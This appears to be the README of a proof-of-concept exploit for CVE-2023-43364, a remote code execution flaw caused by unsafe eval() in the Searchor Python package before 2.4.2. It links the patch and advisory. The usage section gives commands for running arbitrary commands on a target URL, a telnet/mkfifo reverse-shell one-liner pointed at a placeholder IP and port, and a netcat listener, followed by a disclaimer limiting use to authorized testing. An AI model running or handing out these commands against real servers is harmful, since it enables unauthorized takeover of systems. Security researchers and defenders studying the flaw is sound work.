CVE-2023-43364 – Searchor RCE Exploit (PoC)

Remote Code Execution (RCE) via unsafe eval() usage in Searchor (< 2.4.2)

Overview

This project demonstrates exploitation of CVE-2023-43364, a Remote Code Execution (RCE) vulnerability affecting the Python package Searchor (< 2.4.2).

The issue is caused by unsafe usage of eval() on user-controlled input, allowing attackers to inject and execute arbitrary Python code.

The vulnerability was fixed by removing the insecure eval() usage, as shown in the official patch:

• https://github.com/ArjunSharda/Searchor/commit/16016506f7bf92b0f21f51841d599126d6fcd15b

Additional technical details and advisory:

• https://github.com/advisories/GHSA-66m2-493m-crh2

This proof of concept provides multiple execution methods, including command execution, test validation, and reverse shells.

Usage

Test RCE

Execute a simple command (id) to verify code execution:

python3 CVE-2023-43364.py <URL> --test

Execute Custom Command Run any command on the target server:

python3 CVE-2023-43364.py <URL> -a "whoami"

Examples:

python3 CVE-2023-43364.py <URL> -a "TF=$(mktemp -u);mkfifo $TF && telnet IP PORT 0<$TF | sh 1>$TF"
python3 CVE-2023-43364.py <URL> -a "ls -la"

Reverse Shell Start a listener on your machine:

nc -lvnp 4444

Run the exploit:

python3 CVE-2023-43364.py <URL> <LHOST>

⚠️ Disclaimer

This project is intended for:

• educational purposes
• security research
• authorized penetration testing only

The author is not responsible for any misuse or damage caused by this tool.

Use this exploit only in controlled environments or on systems you have explicit permission to test